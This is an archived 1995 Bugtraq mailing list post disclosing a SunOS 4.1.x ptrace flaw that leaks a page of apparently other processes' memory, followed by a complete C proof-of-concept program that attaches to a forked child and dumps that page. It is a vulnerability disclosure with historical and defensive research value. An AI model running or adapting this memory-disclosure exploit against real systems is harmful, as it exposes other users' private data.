Bugtraq mailing list archives

SunOS 4.1.x ptrace flaw


From: jkb () mrc-lmb cam ac uk (Bonfield James)
Date: Thu, 17 Aug 1995 15:15:36 +0100


Hello,

There's a flaw in SunOS 4 ptrace that I've known about for some time, but
haven't previously posted to this list. Cert and Sun were told yonks ago, but
you know how these things are... I got fed up of sitting on it; and I
wouldn't rate this as a big problem.

The bug is very minor due to the lack of control, but potentially major (if
you strike lucky). Basically, the ptrace READDIR call for address 0 fails with
EIO, but still fills the supplied buffer with the requested data. This data,
being address 0 - pagesize-1 of a process appears to be random data. This data
may include anything. Indeed the first time I ran this I ended up with part of
someone's email. I can't see a clear way to control which data you get.

Also, further tests appear to show that this first page is owned by your own
process. I managed to show this by writing a program that malloced a large
amount of data, filled it with the letter A, and then looped around forever
looking for non A's.

Using a modifed copy of the program below, I then read and displayed page 0
(all A), wrote a page of B's to page 0, cleared my buffer, read and displayed
page 0 again (all B). This implies that a write was succesful. However, the
other process did not detect any A's being translated to B's, so I assume some
copy-on-write scheme was used to make a new memory page to store the B's in.

I've no idea whether this bug exists under Solaris; the program below will
fail under it, but for other reasons. I'm not even sure whether it's been
fixed in the newer SunOS 4 releases. Could people please confirm whether it's
still there?

Enjoy,

        James

/*
 * Ptrace bug demonstration.
 * Written by James Bonfield (jkb () mrc-lmb cam ac uk), 1991.
 */
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <errno.h>
#include <signal.h>

#define BSIZE 8192

main() {
    int pid, wstat,i,j;
    char buf[BSIZE];

    switch(pid=fork()) {
    case -1:
        perror("fork");
        exit(1);
    case 0:
        /* child stops and simply lets parent do what it pleases to it */
        /* Suprisingly well behaved :-) */
        pause();
    }

    /* parent now attaches to the child */
    if (ptrace(PTRACE_ATTACH,pid,0,0,0) == -1) {
        perror("ptrace attach");
        exit(1);
    } else {
        puts("Attached successfully");
    }
    while(wait(&wstat) != pid);

    /* and grunches through it's memory (snoopy parent!) */
    /* we clear our buffer first just to make sure we get the data from */
    /* the ptrace() call */
    for (i=0; i<BSIZE; i++)
        buf[i]=0;
    if (ptrace(PTRACE_READDATA,pid,0,BSIZE,buf) == -1) {
        fprintf(stderr,"\nREADDATA failed - error = %d\n",errno);
        perror("ptrace");
    }
    write(1,buf,BSIZE);

    /* relinquish our snoops on the poor child */
    if (ptrace(PTRACE_DETACH,pid,(int *)1,0,0) == -1) {
        puts("Failed to detach");
        exit(1);
    } else
        puts("Detached successfully");

    /* but we're not exactly feeling very kind to it are we? */
    kill(pid,SIGHUP);

    return;
}



Current thread: